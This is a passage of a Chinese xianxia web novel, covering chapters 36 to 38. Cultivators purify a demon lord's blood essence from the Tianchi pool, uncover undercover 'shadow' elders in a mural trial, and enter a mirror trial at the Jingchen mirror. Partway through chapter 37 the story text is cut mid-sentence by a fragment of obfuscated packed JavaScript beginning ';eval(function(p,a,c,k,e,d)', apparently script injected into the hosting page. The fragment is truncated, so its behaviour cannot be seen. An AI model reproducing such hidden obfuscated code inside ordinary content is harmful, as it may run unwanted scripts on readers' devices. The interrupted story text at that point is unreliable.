花无暇站在阵法边缘,手中捏着一枚黑色符箓,眼神复杂。 她身后,萧长风的剑,已经出鞘半寸。 “花谷主,”萧长风声音冰冷,“你手中拿的是什么?” 花无暇转身,月光照在她脸上,映出一丝凄然的笑: “萧道友,你说……为了救最重要的人,是不是什么都可以做?” 话音未落,她手中的黑色符箓突然自燃。 而天池阵法最外围的那个标记节点,骤然炸裂! 一道细微的、仅容一指通过的裂缝,出现在光罩上。 虽然只有十息时间就会自动修复。 但,足够了。 从那裂缝中,一滴漆黑如墨的液体,缓缓渗入,滴落在天池水中。 池水瞬间沸腾,泛起诡异黑光。 一个嘶哑的笑声,从黑光中传出: “魔尊大人的‘万魔血引’……终于送到了。” “游戏,开始了。” 36. 万魔血引与人心试炼 天池边,月华如血。 那滴漆黑液体落入池中的刹那,整个天池沸腾了。不是寻常的沸腾,而是一种诡异的、无声的翻涌。池水在月下泛起金属般的黑光,水面浮现出万千扭曲的面孔,张着嘴却发不出声音。 “万魔血引……”素青真人脸色惨白如纸,踉跄后退,“传说中魔尊炼制的至邪之物,一滴便可污染千里水域,孕育魔胎!” 花无暇站在池边,黑发在夜风中狂舞。她手中的黑色符箓已燃尽,化作飞灰飘散。她缓缓转身,面对众人惊怒的目光,脸上没有愧疚,只有一种近乎绝望的平静。 “为什么?”萧长风的剑完全出鞘,剑尖直指花无暇咽喉,“百花谷主,正道领袖之一,为何要背叛?” 炎阳真人怒吼一声,双掌赤红如烙铁,就要拍向花无暇。却被素青拦住了。 “等等。”素青盯着花无暇的眼睛,“她若真想害我们,刚才那滴血引可以直接滴入阵法核心,让整个阵法瞬间崩溃。但她只是让它落入天池……为什么?” 花无暇笑了,笑容凄美:“因为我也在赌。” “赌什么?” “赌你们——或者说,林素衣——能在魔胎完全孕育前,找到净化万魔血引的方法。”花无暇的声音很轻,却让所有人心中一寒,“赌赢了,天池可保,掌门师兄有救。赌输了……” 她看向那沸腾的黑水:“三个月后魔尊降临的劫难,就会提前到今夜。” 萧长风剑尖微颤:“你疯了?!” “也许吧。”花无暇闭上眼睛,“但我别无选择。百花谷地下镇压的‘噬心妖藤’即将破封,那东西一旦出世,整个南疆都将化为死域。只有魔尊的‘幽冥真火’能彻底焚毁它。” 云华真人倒吸一口凉气:“所以你和魔尊做了交易?用天池的安危,换幽冥真火?” “交易?”花无暇冷笑,“魔尊会和人做交易?不,这是他给我的‘考验’。他说,若我能让万魔血引进入天池,便赐我一缕幽冥真火。若不能……百花谷三日后就会变成妖藤的猎场。” 她从怀中取出一枚枯萎的藤蔓种子。那种子还在微微搏动,仿佛有生命一般。 “这是我从封印裂缝中取出的。你们可以感应一下,它蕴含的妖力有多可怕。” 素青接过种子,刚一触碰,脸色就变了:“化神期……这妖藤至少有化神期的实力!” “不错。”花无暇点头,“百花谷历代谷主镇压它三千年,如今封印将破,我寻遍天下,只有幽冥真火能克制。而普天之下,唯有被封印的魔尊,还掌握着这种火焰。” 众人沉默了。 这是一个两难的选择:要么让天池陷入危机,要么让南疆生灵涂炭。 “愚蠢!”炎阳真人怒斥,“魔尊的话你也信?他若真有幽冥真火,早用来破封了,岂会给你?” “我知道他在利用我。”花无暇淡淡道,“但这是唯一的机会。况且……” 她看向沸腾的天池:“万魔血引孕育魔胎需要七日。七日内,若能净化它,天池无恙。而这七日,足够我带着幽冥真火返回百花谷,焚毁妖藤。” “若净化不了呢?”萧长风声音冰冷。 “那便是我赌输了。”花无暇平静道,“届时,我会以百花谷秘法‘万花焚身’,与魔胎同归于尽。至少……能拖到林素衣他们从禁地回来。” 素青凝视她良久,忽然叹了口气:“你何不早说?集众人之力,未必找不到其他克制妖藤的方法。” “来不及了。”花无暇摇头,“封印最多还能撑三天。三天,连去极北之地取‘玄冰魄’都来不及。” 正说着,天池中异变突生。 黑水开始旋转,形成一个巨大的漩涡。漩涡中心,隐隐有什么东西在凝聚、生长。那东西的形状不断变化,时而像婴儿,时而像妖兽,时而像一团纯粹的黑雾。 更可怕的是,漩涡散发出的气息,让所有人的灵力运转都变得滞涩起来。 “魔胎开始孕育了!”素青急道,“必须立刻净化!” 她双手结印,准备催动净世莲心残存的力量。但就在此时—— 一道青光从天而降,落在池边。 青光散去,林素衣的身影显现。她脸色苍白,气息不稳,显然传送消耗极大。但她的眼神却异常清明,第一时间就锁定了天池中的异变。 “万魔血引……”她喃喃道,随即看向花无暇,“花谷主,解释。” 花无暇将刚才的话重复了一遍。 林素衣听完,沉默三息,只说了一句话:“魔尊在骗你。” “什么?” “幽冥真火确实能克制噬心妖藤,但魔尊给你的,绝不会是真的幽冥真火。”林素衣快速道,“清虚祖师的传承中记载,幽冥真火是魔尊的本命真火,除非他本体脱困,否则连一缕火苗都分不出来。他能给你的,最多是‘伪幽冥火’,威力不足真火的十分之一,根本焚不毁化神期的妖藤。” 花无暇身体一震,眼中第一次出现动摇:“你……确定?” “确定。”林素衣点头,“魔尊的目的,就是让你打开天池防御,让万魔血引进入。至于百花谷……他根本不在乎。妖藤破封也好,生灵涂炭也罢,对他只有好处——正道力量分散,更利于他破封而出。” 花无暇踉跄一步,手中的藤蔓种子掉在地上。 她苦心谋划,甚至不惜背负叛徒之名,到头来却只是一枚被利用的棋子? “那现在怎么办?”云华急道,“魔胎已经在孕育了!” 林素衣没有立刻回答,而是走到池边,伸手探向黑水。 “不可!”众人惊呼。 但林素衣的手并未真正接触水面,而是在离水面三寸处停住。她掌心浮现出源海珠的虚影,蓝金色的光芒与黑水中的魔气激烈对抗。 “果然……”她收回手,“万魔血引已经和天池的灵脉融合,强行净化会损伤灵脉根基。必须找到‘引子’,将血引的力量引导出来,再净化。” “什么引子?” 林素衣看向花无暇:“那枚黑色符箓的灰烬,还有吗?” 花无暇从袖中取出一个玉瓶:“我收集了一些。” “给我。” 林素衣接过玉瓶,倒出里面的黑色灰烬。她咬破指尖,滴入三滴精血,灰烬顿时活了过来,化作一条细小的黑蛇,在空中游动。 “万魔血引是魔尊精血所化,对承载它的符箓灰烬有天然吸引力。”林素衣解释道,“我们可以用这灰烬作为引子,将血引从池中引出。但需要一个人,以自身为容器,暂时容纳血引之力。” “那岂不是……”素青脸色大变。 “必死无疑。”林素衣平静道,“血引入体,会在三刻钟内将宿主转化为魔傀。所以,这个容器必须在转化完成前,将血引重新导出,再用净化之力消灭。” “谁能做到?”萧长风问,“血引入体后,灵力会被魔气侵蚀,根本无法自己导出。” “所以需要两个人。”林素衣看向花无暇,“一人为容器,容纳血引。另一人……以‘同心引’秘法,与容器心神相连,在关键时刻强行将血引吸出,导入自己体内。” 她顿了顿:“然后,第二人必须在十息内完成净化,否则也会魔化。” 石破天惊的方案。 这等于用两条命去赌一线生机。 “第一个人必死无疑。”炎阳真人沉声道,“血引入体,就算及时导出,肉身和魂魄也会被魔气污染大半,修为尽废,沦为废人。” “我知道。”林素衣点头,“所以,我来做第一个人。” “不行!”众人齐声道。 “我是净尘传人,体内有源海珠,对魔气抗性最强。”林素衣道,“而且,我必须赎罪——若非我离开天池,花谷主也不会有机会下手。” “那不是你的错——”素青急道。 “是我的责任。”林素衣打断她,“我是净尘宗代宗主,守护天池是我的职责。” 她看向花无暇:“花谷主,你愿意做第二个人吗?用你的百花秘法‘万花焚身’,加上我的净尘之力,或许能在十息内净化血引。” 花无暇怔怔看着她,忽然笑了:“林素衣,你真是个……奇怪的人。我害了天池,你却不恨我,反而把活命的机会让给我?” “不是让。”林素衣认真道,“是选择最有可能成功的方案。百花谷的万花焚身,是燃烧生命力的禁忌之术,威力极大,最适合瞬间净化。而我……确实是最佳的容器。” 她伸出手:“时间不多了。魔胎每成长一分,剥离的难度就增加一倍。现在它刚刚孕育,是最佳时机。” 花无暇看着那只伸出的手,白皙,纤细,却有着不容置疑的力量。 良久,她缓缓握住:“好。若此劫能过,我花无暇此生欠你一条命。” “那就开始吧。” 林素衣盘膝坐在池边,花无暇坐在她身后,双掌抵在她背心。其余人散开护法,防备可能的意外。 素青将净世莲心最后的力量注入林素衣体内,作为一层保险。炎阳真人和萧长风各持法宝,警惕四周。云华则布置隔绝阵法,防止魔气外泄。 林素衣将符箓灰烬所化的黑蛇握在手中,深吸一口气,将它按向自 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光茧外,众人焦急等待。天池中的黑水越来越少,都被吸入了林素衣体内。而林素衣身上的魔气越来越浓,皮肤开始出现魔化鳞片。 “三刻钟快到了!”素青急道,“花谷主,准备!” 光茧内,花无暇也到了极限。万花焚身秘法在燃烧她的生命,她感到自己的魂魄都在融化。 但她没有停,因为林素衣传给她的意志,坚定如铁。 “就是现在!” 林素衣猛然睁开眼睛——左眼还是清澈的黑色,右眼却已完全化为血红。 她双手结印,逆转经脉,将体内所有血引之力逼向背心。 花无暇同时施展“同心引”,一股恐怖的吸力从她掌心爆发,将林素衣体内的血引疯狂吸入自己体内! “噗——” 两人同时喷血。 林素衣身上的魔纹迅速消退,但脸色惨白如死,气息暴跌至筑基期。而花无暇则瞬间被魔气吞噬,整个人化作一个黑色光团。 “花谷主!”云华惊呼。 黑色光团中,传来花无暇最后的传音:“十息……帮我……” 炎阳真人立刻出手,双掌按在光团上,用纯阳真火压制魔气。素青催动残存的莲心之力,注入光团。萧长风长剑划破掌心,以剑修精血绘制镇魔符。 十息,转瞬即逝。 第九息时,黑色光团炸裂。 花无暇的身影重新出现,浑身浴血,气息微弱,但眼中的血红已经褪去。 而她手中,托着一枚核桃大小的黑色结晶——万魔血引被净化后留下的“魔源结晶”。 成功了。 众人刚松一口气,异变再生。 那枚魔源结晶突然剧烈震动,然后…… 炸裂了。 但不是毁灭性的爆炸,而是化作无数黑色光点,如萤火虫般飞散,融入夜空。 而在光点散尽的中心,浮现出一行由黑气凝聚的字: “三日之后,月落之时,本尊将亲临天池,取源海珠。” “此乃预告,亦是战书。” “净尘传人,好好享受你最后的时光吧。” 字迹缓缓消散。 所有人都僵在原地。 魔尊……要提前降临? 不是三个月后,而是三天后?! 林素衣挣扎着站起来,擦去嘴角的血迹,眼中却没有恐惧,只有决绝。 “三天……足够了。” 她看向东方——那是禁地的方向。 玄诚师伯,叶师兄,你们一定要成功啊。 而此刻,禁地石室内。 玄诚子和叶清风正站在第三幅壁画前,画面中叛离的三位长老即将转身离开。 但这一次,他们注意到一个之前忽略的细节。 三位长老中,有一人藏在袖中的手,握着一枚留影石。 而他看向青玄祖师的眼神,不是怨恨,而是……决绝的告别。 仿佛这次叛离,不是背叛,而是…… 一场注定无人理解的牺牲。 “不对劲。”叶清风喃喃道,“这第三关考验的,恐怕不是‘化解怨恨’,而是……” “理解牺牲。”玄诚子接道,“理解那些不得不背负骂名、孤独前行的……守护者。” 两人对视一眼,同时踏入壁画。 这一次,他们要挖掘的,是被历史彻底掩埋的真相。 而那个真相,或许关系到的,不仅仅是三千年前的往事。 还有当下这场魔劫中,某个隐藏在暗处的…… “影”。 37. 影之真相与净尘古镜 青玄禁地,第三幅壁画世界。 玄诚子和叶清风站在青玄门初建的山门前,看着三位长老带着数百弟子决然离去。夕阳将他们的影子拉得很长,投在青石阶上,像一道道无法愈合的伤痕。 这是历史上著名的“青玄三叛”事件。 “金光师弟,重剑师弟,你们看。”青玄祖师——此刻仍是中年模样——背对着他们,声音沙哑,“他们走了。带走了一半的藏书阁秘籍,三成的灵石储备,还有……我的心血。” 玄诚子化身的“金光道人”沉默片刻,问道:“祖师为何不阻拦?以您的修为,加上护山大阵,他们走不了。” “拦得住人,拦不住心。”青玄祖师转身,眼中是深深的疲惫,“强留他们在宗门,只会埋下祸根。不如放他们走,至少……还能保住一份香火情。” 叶清风化身的“重剑客”皱眉:“可他们带走了那么多资源!这简直是……” “是背叛。”青玄祖师替他说完,“但也是机会。” “机会?” 青玄祖师没有直接回答,而是走向山门一侧的石碑,手指抚过碑文:“你们可知,我青玄门建立之初,最大的威胁是什么?” “地魔宗?”玄诚子试探道。 “不。”青玄祖师摇头,“是‘影盟’。” “影盟?”叶清风第一次听到这个名字。 “一个比魔道更隐秘、更危险的组织。”青玄祖师眼神凝重,“他们不修魔功,不练邪法,而是钻研‘人心’。他们擅长渗透、离间、操控,以颠覆宗门、窃取气运为目标。三千年来,被影盟毁掉的宗门不下百个。” 他顿了顿:“而在我开宗立派时,影盟就已经盯上了青玄门。他们派人渗透进来,试图从内部瓦解我们。” 玄诚子心中一动:“那三位叛离的长老……” “其中一人,就是影盟的棋子。”青玄祖师缓缓道,“但另外两人……是我派去的。” 石破天惊! 叶清风瞪大眼睛:“您派去的?!” “对。”青玄祖师点头,“我让他们假意叛离,带着部分资源和弟子,投靠影盟。目的有三:其一,摸清影盟的底细;其二,从内部破坏影盟对青玄门的阴谋;其三……若青玄门真有一天覆灭,他们那一脉,还能保存传承。” “卧底……”玄诚子喃喃道。 “很危险的任务。”青玄祖师叹息,“他们要背负叛徒之名,承受同门的唾弃,甚至可能被影盟识破,死无葬身之地。但他们……义无反顾。” 叶清风肃然起敬:“敢问是哪两位长老?” 青玄祖师指向三位叛离者中走在最后的那人:“‘清风长老’,擅长阵法,为人谨慎。”又指向中间那人:“‘明心长老’,精通幻术,心思缜密。” 玄诚子注意到,清风长老藏在袖中的手,确实握着一枚留影石。而明心长老腰间,挂着一枚不起眼的玉佩——那玉佩的样式,与林素衣在地下得到的“影”字令牌,有七分相似。 “那影盟的棋子是?”叶清风问。 “走在最前面的‘黑石长老’。”青玄祖师眼神冰冷,“他以为自己的潜伏天衣无缝,却不知我早就察觉。之所以不揭穿,是要借他之口,向影盟传递假消息。” 他转身看向玄诚子二人:“这一关的考验,不是化解怨恨,而是理解牺牲。理解那些在黑暗中负重前行,却永远得不到掌声的……守护者。” “现在,你们要做的是:追上他们,在影盟接应之人到来前,将真正的密令交给清风和明心。” 青玄祖师取出两枚玉简:“这里面有下一步的计划,以及……一份名单。名单上,是影盟潜伏在其他宗门的棋子。” 玄诚子郑重接过玉简。 “记住,你们只有一夜时间。”青玄祖师道,“天明之前若无法完成任务,不仅考验失败,历史上的清风、明心两位长老也会因得不到密令而暴露身份,惨死在影盟手中。” “那真实历史中……”叶清风问。 “他们成功了。”青玄祖师眼中闪过复杂的光,“但也付出了代价。清风长老在任务中重伤,修为停滞。明心长老为保护同伴,以身诱敌,最后……尸骨无存。” 他顿了顿:“但他们换来的,是影盟针对青玄门的计划被彻底破坏,以及那份名单——后来三大宗门联手清剿影盟,靠的就是这份名单。” 玄诚子和叶清风对视一眼,都看到了对方眼中的决心。 “我们必不负所托。” 二人御剑而起,追向叛离者的方向。 夜色中,叛离的队伍在山林中疾行。三位长老各怀心事:黑石长老眼中闪烁着阴谋得逞的兴奋,清风长老面色平静却掌心出汗,明心长老则不时回头,望向宗门方向,眼神不舍。 玄诚子和叶清风悄然跟上,传音商议。 “直接现身太冒险。”玄诚子道,“黑石长老是元婴初期,我们两人联手也未必能稳胜。而且一旦打草惊蛇,影盟的接应者可能就不会现身了。” “那怎么办?”叶清风问。 玄诚子思索片刻,从怀中取出一枚符箓:“这是‘幻影符’,可制造短暂幻象。我们用它引开黑石长老,趁机接触清风、明心。” “好。” 二人悄然接近队伍后方。玄诚子催动幻影符,远处山林中突然传来妖兽咆哮声,同时有灵光闪烁,仿佛有修士在战斗。 “怎么回事?”黑石长老警惕道。 “可能是巡逻的弟子。”清风长老皱眉,“我去看看。” “不,我去。”黑石长老眼中闪过算计,“你们继续前进,在‘鬼哭涧’等我。若一炷香后我未到,你们先行。” 他显然不放心让清风长老单独行动,怕他趁机传递消息。 待黑石长老离去,玄诚子和叶清风立刻现身。 “谁?!”明心长老立刻拔剑。 “二位长老莫惊。”玄诚子取出青玄祖师的信物,“祖师有密令。” 看到信物,清风、明心二人松了口气,但依然警惕:“金光师弟,重剑师弟,你们怎么来了?” 玄诚子递上玉简:“时间紧迫,请二位速看。” 清风长老接过玉简,神识一扫,脸色微变:“这名单……” 明心长老也看了,沉声道:“影盟竟渗透得如此之深!” “祖师要我们按计划行事。”玄诚子道,“但多加一条:保护名单上的第二十七人——百花谷‘花影长老’。她是影盟的棋子,但也是被胁迫的,她的孙女被影盟扣为人质。” “百花谷?”叶清风心中一动——这不就是花无暇的宗门吗? “我们记下了。”清风长老收好玉简,“你们快走,黑石随时可能回来。” 玄诚子二人正要离开,明心长老忽然叫住他们:“等等。” 她取下腰间的玉佩,递给叶清风:“这枚‘同心佩’,是我和师姐的信物。若你们将来遇到百花谷的传人,可将此佩交给她,就说……‘影’的承诺,已经完成。” 叶清风接过玉佩,入手温润,玉佩背面刻着一个极小的“影”字。 “影?”玄诚子心中一震。 明心长老笑了笑,没有解释,只道:“快走吧。记住,今夜之事,永远不要对第四人说。有些真相,就该埋在历史里。” 二人深深一礼,转身离去。 回到安全处,叶清风看着手中的玉佩,喃喃道:“明心长老……就是‘影’?” “恐怕不止。”玄诚子眼神复杂,“‘影’可能不是一个人,而是一个代号。所有潜入影盟的卧底,可能都叫‘影’。” 正说着,周围景象开始模糊。 第三幅壁画逐渐黯淡。 青玄祖师的声音在虚空中回荡: “第三关,过。你们理解了牺牲,也见证了守护。” “但我要告诉你们一个残酷的真相:历史上的清风、明心两位长老,最后都死了。不是死在影盟手中,而是死在了……自己人手里。” “为什么?”叶清风脱口而出。 “因为影盟在覆灭前,反将一军,伪造证据污蔑他们是真叛徒。而当时,没有人能为他们作证——包括我。” 青玄祖师的声音带着无尽的悲凉: “为了保护‘影’这个代号,为了保护其他还在潜伏的同伴,他们选择沉默,接受了叛徒的骂名,被宗门处决。” “直到三百年后,影盟彻底覆灭,真相才被揭开。但那时,他们已经死了太久,连尸骨都找不到了。” “这就是守护者的结局:生前无人知,死后无人记。” “现在,你们还愿意……成为‘影’吗?” 话音落下,二人回到石室。 第三幅壁画彻底黯淡,而在青玄分光剑旁,又多了一物。 那是一面古朴的铜镜,镜面模糊,布满裂痕,仿佛随时会破碎。 “这是……”玄诚子上前,手指刚触碰到镜面—— 镜中突然浮现出影像! 是天池!而且正在发生的事! 画面中,林素衣刚刚净化万魔血引,魔尊留下三天后降临的战书。所有人都面色凝重,而林素衣正看向东方,仿佛在期待着什么。 “这是……实时景象?”叶清风震惊。 玄诚子仔细感应铜镜,倒吸一口凉气:“这是‘观天镜’!青玄祖师炼制的法宝,可窥视天下任何一处!但它应该在千年前就毁于正魔大战了……” “现在不是说这个的时候!”叶清风急道,“师妹有危险!魔尊三天后就要降临,我们必须立刻回去!” 二人冲向青玄分光剑,准备拔剑离开。 但就在叶清风的手触碰到剑柄的刹那—— “嗡!” 剑身突然爆发出刺目的青光,一股浩瀚如海的威压席卷整个石室。玄诚子和叶清风被震飞出去,重重撞在石壁上。 青玄分光剑缓缓升起,剑尖指向他们。 然后,一个威严的声音从剑中传出: “欲取剑,先问心。” “你们可知,此剑的真正用途?” 玄诚子挣扎着站起:“斩妖除魔,守护苍生!” “错。”剑中声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剑灵顿了顿:“现在,选择权在你们手中。取剑,意味着你们接受了‘斩因果’的使命。不取,剑会继续封印在此,等待下一个有缘人。” 叶清风毫不犹豫:“我取!” “想清楚。”剑灵道,“取了剑,你就必须面对那个选择:是让林素衣牺牲,还是自己去找死?” “我会找到第三条路。”叶清风眼神坚定。 剑灵沉默了,似乎在审视他。 片刻后,剑身光芒收敛,缓缓落下,插在石室中央。 “剑,你们可以拿走。但记住,距离魔尊降临,只剩两天半了。” “外界的一天,是这里的一个时辰。你们还有时间思考……思考那个无法回避的问题。” 玄诚子深吸一口气,上前拔剑。 剑入手沉重,仿佛承载着三千年的因果。他能感觉到剑身中蕴含的恐怖力量,以及……那股决绝的悲意。 “走吧。”他看向叶清风,“先回天池。无论如何,我们要和素衣并肩作战。” 二人转身,准备离开石室。 但就在此时,观天镜突然剧烈震动! 镜中画面一变,不再是天池,而是一个陌生的地方:一片废墟中,立着一面巨大的古镜。镜面破碎,却依然散发着纯净的净化之力。 镜面上方,浮现出三个古老的文字—— 净尘镜。 紧接着,镜中传来林素衣的声音,仿佛跨越时空: “玄诚师伯,叶师兄……如果你们看到这段留影,说明我已经找到了清虚祖师留下的最后底牌。” “我在镜湖遗址,找到了净尘镜。但激活它需要‘净尘血脉’和‘青玄剑气’。” “我不知道你们能否及时赶到,但……” 她的声音顿了顿,带着决绝: “若魔尊提前降临,而你们未至,我会以身为镜,强行激活净尘镜。” “那可能是我最后能为这世间做的事了。” 留影结束。 观天镜“咔嚓”一声,镜面彻底碎裂。 玄诚子和叶清风脸色大变。 “镜湖遗址……在青玄山脉西侧三千里!”玄诚子急道,“来不及了!” 叶清风握紧拳头:“不,来得及!用青玄分光剑!剑灵前辈说,此剑可斩因果,那是不是也能……斩断空间?” 剑灵的声音幽幽响起: “聪明。青玄分光剑确实能短暂撕裂空间,进行小范围传送。但以你们的修为,强行催动空间之力,会遭受空间反噬,可能永远迷失在虚空裂缝中。” “我愿意冒险!”叶清风毫不犹豫。 玄诚子也点头:“带我们去吧。” 剑灵沉默片刻,剑身再次亮起青光。 “握住剑柄,心中默念目的地。” 二人照做。 青光将他们吞没。 而在消失前的最后一瞬,叶清风忽然想起一件事: 明心长老给他的那枚“同心佩”,此刻正微微发烫。 玉佩中,似乎有什么东西……苏醒了。 38. 镜湖试炼与同心之秘 虚空裂缝中,时间和空间都失去了意义。 玄诚子和叶清风紧紧握住青玄分光剑的剑柄,剑身散发出的青光形成一个脆弱的光罩,勉强抵挡着四周涌来的空间乱流。那些乱流呈现诡异的色彩,时而如火焰般赤红,时而如深渊般漆黑,每一次撞击都让光罩剧烈震颤。 “撑住!”剑灵的声音在二人脑海中响起,显得异常吃力,“我只是一道分神,力量有限。你们必须自己提供灵力支撑!” 玄诚子立刻将元婴期的灵力源源不断注入剑中。叶清风虽只是金丹,也咬破舌尖,喷出本命精血,以血祭剑。 光罩稍微稳固了一些,但仍摇摇欲坠。 “看前面!”叶清风忽然惊呼。 虚空裂缝的尽头,出现了一面巨大的镜子——不,那不是镜子,而是一个空间节点,映照出外界的景象:一片荒芜的湖泊,湖水干涸,湖底矗立着无数破碎的镜面残片。而在湖泊中央,一面足有十丈高的古镜巍然屹立,镜面布满裂痕,却依然散发着纯净的净化之力。 正是净尘镜! “到了!”剑灵喝道,“准备落地!” 青光裹挟着二人,撞向那个空间节点—— 轰! 镜湖遗址上空,空间如水面般荡开涟漪。两道身影从涟漪中跌出,重重摔在干涸的湖床上。 “咳咳……”玄诚子撑起身子,脸色苍白如纸。强行穿越空间,几乎耗尽了他的灵力。叶清风更惨,七窍都渗出血丝,已是重伤之躯。 但他们都顾不上伤势,第一时间看向湖泊中央。 在那里,林素衣正盘膝坐在净尘镜前。她双手按在镜面上,周身环绕着蓝金色的净尘灵力,灵力与镜面共振,发出低沉的嗡鸣。她闭着眼睛,眉头紧锁,显然正在经历某种考验。 “师妹!”叶清风想冲过去,却被玄诚子一把拉住。 “别急。”玄诚子示意他看周围。 湖床四周,散落着数十具骸骨。有些已经风化,有些还很新鲜,显然是近几年才死去的。骸骨的姿势各异,但都有一个共同点——面部都朝着净尘镜的方向,双手前伸,仿佛在临死前还想触摸那面镜子。 “这些是……”叶清风倒吸一口凉气。 “试图激活净尘镜却失败的人。”一个虚弱的声音从净尘镜方向传来。 林素衣睁开了眼睛。她的瞳孔深处,隐约有镜面的倒影闪烁。 “玄诚师伯,叶师兄,你们来了。”她露出一个疲惫的笑容,“比我想象的快。” “你怎么样?”玄诚子快步上前,检查她的状况。 “没事,只是灵力消耗过度。”林素衣摇头,“净尘镜的激活需要‘镜心试炼’,我刚刚通过了第一重。” 她看向二人,眼中闪过一丝惊讶:“你们怎么来的?青玄分光剑拿到了吗?” 叶清风将剑递上,简略讲述了禁地中的经历,包括三位长老的真相、剑灵的警告,以及观天镜中看到的留影。 听到“斩因果”的代价时,林素衣沉默了。 良久,她轻声道:“所以清虚祖师当年,也是因为这个原因,才没有使用此剑?” “恐怕是的。”玄诚子叹息,“斩断魔尊与源海珠的因果,需要宿主牺牲。而那时源海珠还未与任何人融合,强行斩断只会导致大阵崩溃。” “那现在呢?”叶清风急问,“如果师妹你……” “我可以。”林素衣平静道,“如果这是唯一的方法,我愿意。” “不行!”叶清风和玄诚子同时反对。 林素衣笑了:“先不说这个。当务之急是激活净尘镜。镜灵告诉我,净尘镜是清虚祖师留下的最后底牌,一旦完全激活,可释放‘净世之光’,净化方圆千里内的一切魔气。虽然杀不死魔尊,但能极大削弱他的力量。” “可你刚才说,激活需要净尘血脉和青玄剑气。”玄诚子看向青玄分光剑,“现在我们都有了,该怎么做?” 林素衣指着净尘镜:“将剑刺入镜面右下角第三道裂痕处。但要注意,一旦开始,镜心试炼的第二重就会启动。试炼会映照出我们内心最深处的恐惧,必须克服恐惧,才能与镜灵共鸣。” 她顿了顿:“而且,试炼是同时进行的。我们三人会进入同一个幻境,彼此影响。一个人的恐惧,可能会引发连锁反应。” 叶清风握紧剑柄:“那就一起面对。” 玄诚子也点头:“开始吧。” 三人站定方位。林素衣双手按在镜面中心,玄诚子以灵力护持她周身,叶清风则双手持剑,剑尖对准那道指定的裂痕。 “三、二、一!” 叶清风用力刺下。 剑尖没入裂痕的刹那,整个净尘镜爆发出刺目的白光! 三人眼前一花,意识被拖入了一个完全由镜子构成的世界。 镜中世界。 林素衣发现自己站在一片虚无中,四周是无数面镜子,每一面镜子里都映照出不同的自己: 七岁时刚入净尘宗的自己,怯生生地牵着师父的衣袖; 源海珠入体时的自己,浑身被蓝金色光芒笼罩; 天池边决定引爆源海珠的自己,眼神决绝; 以及……一面最特殊的镜子,里面映照的不是她,而是一个模糊的轮廓。轮廓逐渐清晰,是一个穿着净尘宗道袍的女子,面容与她有七分相似,但更加成熟,眉宇间带着悲悯。 “母亲……”林素衣喃喃道。 那是她记忆中早已模糊的母亲——净尘宗上一代圣女,林清音。 镜中的林清音开口了,声音跨越时空传来: “素衣,你终于走到这一步了。” “母亲?”林素衣想靠近,镜面却如水面般荡开涟漪,让她无法触碰。 “这只是我留在净尘镜中的一缕意识。”林清音微笑道,“当年我预感到自己时日无多,便将部分记忆封存于此,等待有一天,我的女儿能来到这里。” 她的眼神变得严肃: “听着,净尘镜的真正用途,不是净化魔气,而是……封印‘镜湖之底’的东西。” “什么东西?” 林清音指向镜中世界的深处。那里,无数镜子组成一个螺旋向下的通道,通道尽头是无尽的黑暗。黑暗中,有什么东西在蠕动,散发出比魔尊更加古老、更加邪恶的气息。 “三万年前,净尘宗开宗祖师‘净尘仙子’游历至此,发现此地天然形成了一面‘天地镜’,可映照人心,净化邪祟。但同时,她也发现湖底镇压着一尊上古邪物——‘心魔之主’。” “心魔之主无形无质,以人心负面情绪为食。净尘仙子倾尽毕生修为,将其封印在镜湖之底,并以自身血肉炼制净尘镜,作为封印的核心。” 林清音顿了顿:“三千年前,魔尊作乱,清虚祖师曾想动用净尘镜对敌。但他发现,若净尘镜离开原位,心魔之主的封印就会松动。所以最终,他选择了用源海珠封印魔尊,而净尘镜继续镇压湖底。” 林素衣心中一震:“所以净尘镜不能离开这里?” “可以离开,但必须有人接替它的位置。”林清音看着她,“以身为镜,成为新的封印核心。” “那会怎样?” “肉身化作镜石,魂魄永镇湖底,承受心魔侵蚀,直到下一个接替者出现。”林清音的声音很轻,却重如千钧,“当年,我本打算这么做。但那时你刚出生,我舍不得。而现在……轮到你了。” 林素衣沉默了。 一面是魔尊降临的危机,一面是心魔之主破封的灾难。无论选择哪一边,都需要有人牺牲。 “没有其他办法吗?”她问。 “有。”林清音指向四周的镜子,“如果你能通过‘镜心九炼’,彻底掌握净尘镜的力量,或许能同时镇压两者。但镜心九炼,净尘宗历史上只有祖师一人通过。她之后,最强的也只到第七炼。” “我试试。” “那便去吧。”林清音的身影开始消散,“记住,幻境中的恐惧都是真实的。直面它们,才能超越它们。” 话音落下,周围的镜子突然旋转起来,将林素衣卷入一个全新的场景。 那是她最深的恐惧—— 眼睁睁看着所有在乎的人死去,自己却无能为力。 幻境中,天池被攻破,素青师叔战死,玄诚师伯重伤,叶师兄被魔气侵蚀……而她,被魔尊掐住脖子,源海珠被生生挖出。 “不——!” 林素衣尖叫,却发现自己的声音传不出去。 她被困在镜子里,只能看着,什么也做不了。 这才是真正的恐惧:不是死亡,而是无能为力。 与此同时,叶清风的幻境。 他站在叶家祠堂前,祠堂已经化作一片火海。火中,无数族人的哀嚎传来。而祠堂中央,一个与他面容相似的男子——他的大哥叶清云——正被魔气侵蚀,逐渐化作魔傀。 “大哥!”叶清风想冲进去,却被一道无形的屏障挡住。 一个声音在他耳边响起:“你救不了他们。因为你不够强。如果你当初没有离开叶家,如果你更努力修炼,这一切都不会发生。” 叶清风跪倒在地,双手深深插入泥土。 这是他心中永远的痛:三年前,魔道偷袭叶家,他当时在外游历,赶回时只见到一片废墟。大哥叶清云失踪,生不见人,死不见尸。 如今幻境重现,他再次体会到那种绝望。 “不……我一定可以……”他咬牙站起,拔出青玄分光剑,“这一次,我绝不会让悲剧重演!” 剑光斩向屏障—— 而玄诚子的幻境,更加复杂。 他回到了五十年前,青玄门主峰大殿。殿中,他的师父清微真人正与天玄真人争论。争论的焦点是:是否要牺牲净尘宗一脉,保全青玄门。 “魔道势大,我们挡不住。”清微真人面色冷酷,“交出净尘宗,换取谈判筹码,这是最理智的选择。” 天玄真人怒斥:“师兄!净尘宗与我们同气连枝,岂能出卖同门?!” “那难道要整个青玄门陪葬吗?”清微真人拍案而起。 玄诚子——那时他还叫“玄诚”——跪在殿外,听着师 